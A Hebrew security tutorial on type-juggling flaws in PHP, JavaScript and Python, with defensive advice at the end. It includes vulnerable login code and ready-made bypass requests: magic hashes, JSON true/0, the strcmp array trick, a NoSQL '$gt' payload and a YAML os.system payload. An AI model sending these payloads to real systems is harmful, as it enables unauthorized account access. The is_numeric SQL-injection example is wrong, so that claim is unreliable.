לדלג לתוכן

בלבול טיפוסים - Type Juggling

מהו בלבול טיפוסים

בלבול טיפוסים (Type Juggling) הוא ניצול ההתנהגות של שפות תכנות שמבצעות המרת טיפוסים אוטומטית בזמן השוואה או פעולות חשבוניות. הבעיה הבולטת ביותר היא ב-PHP, אבל קיימת גם ב-JavaScript ובשפות נוספות.

כשאפליקציה משתמשת בהשוואה רופפת (loose comparison) במקום השוואה מחמירה (strict comparison), תוקף יכול לשלוח קלט מטיפוס שונה שיעבור את הבדיקה בצורה בלתי צפויה.


השוואה רופפת מול מחמירה ב-PHP

ההבדל בין == ל-===

// השוואה רופפת - == (מבצעת המרת טיפוסים)
var_dump(0 == "password");    // true!  (string -> int = 0)
var_dump("0" == false);       // true!
var_dump("" == false);        // true!
var_dump(null == false);      // true!
var_dump("0" == null);        // false
var_dump("1" == "01");        // true!  (שניהם -> int 1)
var_dump("1" == "1.0");       // true!
var_dump(0 == "0e12345");     // true!  (0 == 0)

// השוואה מחמירה - === (בודקת גם טיפוס)
var_dump(0 === "password");   // false
var_dump("0" === false);      // false
var_dump("1" === "01");       // false

טבלת השוואה רופפת ב-PHP

         | true  | false | 1    | 0    | -1   | "1"  | "0"  | ""   | null
---------|-------|-------|------|------|------|------|------|------|------
true     | true  | false | true | false| true | true | false| false| false
false    | false | true  | false| true | false| false| true | true | true
1        | true  | false | true | false| false| true | false| false| false
0        | false | true  | false| true | false| false| true | false*| false*
"php"    | true  | false | false| true*| false| false| false| false| false

* ב-PHP < 8.0 (ב-PHP 8.0+ שונה!)

הערה חשובה: ב-PHP 8.0 שינו את ההתנהגות של 0 == "string" ל-false. אבל גרסאות ישנות יותר עדיין נפוצות מאוד.


האשים קסומים - Magic Hashes

מהם האשים קסומים

ב-PHP, מחרוזות שמתחילות ב-0e ואחריהן רק ספרות מפורשות כסימון מדעי (scientific notation) בהשוואה רופפת:

"0e462097431906509019562988736854" == "0"  // true!
// כי PHP מפרשת "0e..." כ-0 * 10^462... = 0
// ו-"0" = 0
// אז 0 == 0 -> true

דוגמאות של magic hashes

ערכים שה-MD5 שלהם מתחיל ב-0e ואחריו רק ספרות:

MD5 Magic Hashes:
=================
מחרוזת: "240610708"
MD5:     "0e462097431906509019562988736854"

מחרוזת: "QNKCDZO"
MD5:     "0e830400451993494058024219903391"

מחרוזת: "aabg7XSs"
MD5:     "0e087386482136013740957780965295"

SHA1 Magic Hashes:
==================
מחרוזת: "aaroZmOk"
SHA1:    "0e66507019969427134894567494305185566735"

מחרוזת: "aaK1STfY"
SHA1:    "0e76658526655756207688271159624026011393"

ניצול בעיסקה - Exploitation

קוד אימות פגיע:

// פגיע - השוואה רופפת של hash
function verifyPassword($input, $storedHash) {
    $inputHash = md5($input);
    if ($inputHash == $storedHash) {
        return true;  // מאומת!
    }
    return false;
}

// תרחיש:
// הסיסמה של הקורבן: "240610708"
// ה-hash: "0e462097431906509019562988736854"
//
// התוקף שולח: "QNKCDZO"
// ה-hash: "0e830400451993494058024219903391"
//
// "0e462..." == "0e830..." -> 0 == 0 -> true!
// התוקף נכנס עם סיסמה שגויה!

עקיפת אימות באמצעות מניפולציית טיפוסים ב-JSON

שליחת true במקום סיסמה

ב-PHP, כאשר אפליקציה מקבלת JSON ומשווה עם ==:

$data = json_decode(file_get_contents('php://input'), true);

// פגיע!
if ($data['password'] == $storedPassword) {
    // מאומת
}

בקשה תקינה:

POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": "secretpassword123"}

בקשת תקיפה:

POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": true}

למה זה עובד:

true == "secretpassword123"  // true!
true == "anything"           // true!
true == ""                   // false (מחרוזת ריקה)

ב-JSON ניתן לשלוח true כערך בוליאני (לא כמחרוזת "true"). ב-PHP, true בהשוואה רופפת שווה לכל מחרוזת לא ריקה.

שליחת 0 במקום סיסמה

POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": 0}
0 == "secretpassword123"  // true ב-PHP < 8.0!
// כי PHP ממירה את המחרוזת ל-int -> 0

עקיפת strcmp

הפונקציה strcmp() ב-PHP מחזירה 0 אם המחרוזות שוות, ערך שלילי או חיובי אם לא. אבל כשמעבירים לה מערך במקום מחרוזת:

// פגיע
if (strcmp($input, $password) == 0) {
    // מאומת
}

// אם $input הוא מערך:
strcmp([], "password")  // מחזיר NULL + PHP Warning
NULL == 0              // true!

בקשת תקיפה:

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password[]=anything

ב-PHP, שליחת password[] יוצרת מערך במקום מחרוזת. strcmp מקבלת מערך, מחזירה NULL, ו-NULL == 0 זה true.


עקיפת intval ו-is_numeric

עקיפת is_numeric

is_numeric("0xdeadbeef")  // true ב-PHP < 7.0!
is_numeric("1e5")          // true (100000)
is_numeric("  123  ")      // true (רווחים מתעלמים)

עקיפת intval

intval("1337")        // 1337
intval("1337abc")     // 1337 (מתעלם מתווים לא-מספריים)
intval("0x539")       // 0 (לא תומך בהקסדצימלי בברירת מחדל)
intval("0x539", 16)   // 1337

// ניצול: עקיפת בדיקה
if (intval($input) <= 100) {
    // "101abc" -> intval = 101, לא יעבור
    // אבל מה אם הערך משמש מאוחר יותר כמחרוזת?
}

שימוש מעשי

// קוד פגיע - בדיקת גיל
$age = $_POST['age'];

if (is_numeric($age) && intval($age) >= 18) {
    // הגישה מותרת
    $query = "SELECT * FROM users WHERE age = $age";
    // אם $age = "18 OR 1=1" -> intval = 18, עובר בדיקה
    // אבל בשאילתה: "... WHERE age = 18 OR 1=1" -> SQLi!
}

בלבול טיפוסים ב-JavaScript

כפייה מרומזת - Type Coercion

// השוואה רופפת
console.log(0 == "");        // true
console.log(0 == "0");       // true
console.log("" == false);    // true
console.log([] == false);    // true
console.log(null == undefined); // true

// פעולות אריתמטיות
console.log("5" - 3);       // 2 (string -> number)
console.log("5" + 3);       // "53" (number -> string!)
console.log(true + true);   // 2

// השוואות מפתיעות
console.log([] == 0);       // true
console.log([] == "");      // true
console.log({} == "[object Object]"); // false (!)

ניצול ב-Node.js

// קוד פגיע
app.post('/login', (req, res) => {
    const { username, password } = req.body;

    const user = db.findUser(username);

    // פגיע - השוואה רופפת
    if (user && user.password == password) {
        createSession(user);
        return res.json({ success: true });
    }

    res.status(401).json({ error: 'Invalid credentials' });
});

ב-Express, אם שולחים JSON, password יכול להיות כל טיפוס:

POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": {"$gt": ""}}

בדוגמה הזו, אם בסיס הנתונים הוא MongoDB, {"$gt": ""} הוא אופרטור NoSQL שאומר "גדול ממחרוזת ריקה" - כל סיסמה תעבור.


בלבול טיפוסים ב-Python

Python בדרך כלל מחמירה יותר, אבל יש מקרים:

# Python לא עושה type coercion ב-==
0 == "0"   # False (בניגוד ל-PHP)

# אבל בהשוואות בוליאניות:
bool(0)    # False
bool("")   # False
bool([])   # False
bool(None) # False

# ניצול - YAML deserialization
import yaml
data = yaml.load("password: !!python/object/apply:os.system ['id']")
# הערך "password" הופך לביצוע קוד!

# ניצול - JSON schema bypass
import json
data = json.loads('{"isAdmin": true}')
# data['isAdmin'] הוא True (בוליאני, לא מחרוזת)

if data.get('isAdmin'):
    grant_admin()  # תוקף שולח true ומקבל הרשאות

ניצול פרקטי ב-Flask

@app.route('/verify', methods=['POST'])
def verify():
    data = request.get_json()
    token = data.get('token')
    expected = get_expected_token()

    # פגיע אם expected הוא None או 0
    if token == expected:
        return jsonify({'verified': True})

    # תקיפה: שליחת {"token": null}
    # אם expected הוא None: None == None -> True
    # תקיפה: שליחת {"token": 0}
    # אם expected הוא 0 (או False): 0 == 0 -> True

דוגמה מקיפה - מערכת אימות פגיעה ב-PHP

class AuthController {
    public function login($request) {
        $username = $request->input('username');
        $password = $request->input('password');

        $user = User::where('username', $username)->first();

        if (!$user) {
            return response()->json(['error' => 'User not found'], 404);
        }

        // פגיעות 1: השוואה רופפת
        if (md5($password) == $user->password_hash) {
            return $this->createSession($user);
        }

        // פגיעות 2: strcmp עם ==
        if (strcmp($password, $user->api_key) == 0) {
            return $this->createSession($user);
        }

        // פגיעות 3: בדיקת טוקן
        $token = $request->input('reset_token');
        if ($token == $user->reset_token) {
            return $this->createSession($user);
        }

        return response()->json(['error' => 'Authentication failed'], 401);
    }
}

וקטורי תקיפה:

-- תקיפה 1: Magic Hash
POST /login HTTP/1.1
Content-Type: application/json

{"username": "victim", "password": "240610708"}

-- תקיפה 2: Array bypass על strcmp
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=victim&password[]=anything

-- תקיפה 3: Boolean bypass על reset_token
POST /login HTTP/1.1
Content-Type: application/json

{"username": "victim", "reset_token": true}

-- תקיפה 4: Integer bypass (PHP < 8.0)
POST /login HTTP/1.1
Content-Type: application/json

{"username": "victim", "password": 0}

הגנות

שימוש בהשוואה מחמירה

// פגיע
if ($input == $expected) { ... }

// מוגן
if ($input === $expected) { ... }

המרת טיפוסים מפורשת

// פגיע
$quantity = $_POST['quantity'];

// מוגן
$quantity = (int) $_POST['quantity'];
if ($quantity <= 0) {
    throw new InvalidArgumentException('Invalid quantity');
}

ולידציית טיפוס קלט

// וידוא שהקלט הוא מחרוזת
function validateStringInput($input): string {
    if (!is_string($input)) {
        throw new InvalidArgumentException('Expected string input');
    }
    return $input;
}

// שימוש
$password = validateStringInput($request->input('password'));

שימוש ב-password_verify

// פגיע - השוואה ידנית של hash
if (md5($password) == $storedHash) { ... }

// מוגן - password_verify מבצע השוואה בטוחה
if (password_verify($password, $storedHash)) { ... }

שימוש ב-hash_equals

// פגיע - השוואה רגילה (פגיעה גם ל-timing attack)
if ($token == $expectedToken) { ... }

// מוגן - השוואה בטוחה בזמן קבוע
if (hash_equals($expectedToken, $token)) { ... }

סיכום

בלבול טיפוסים הוא חולשה מסוכנת במיוחד כי הקוד נראה תקין לחלוטין. הנקודות המרכזיות:

  • ב-PHP, תמיד השתמשו ב-=== ולא ב-==
  • חפשו פונקציות כמו strcmp, intval, is_numeric שניתנות לעקיפה
  • ב-JSON, אפשר לשלוח טיפוסים שונים - true, 0, null, מערכים
  • ב-magic hashes, ערכי hash שמתחילים ב-0e שווים לאפס בהשוואה רופפת
  • בדקו גם JavaScript ו-Python עבור בעיות דומות
  • הגנה: השוואה מחמירה, המרת טיפוסים מפורשת, ולידציית קלט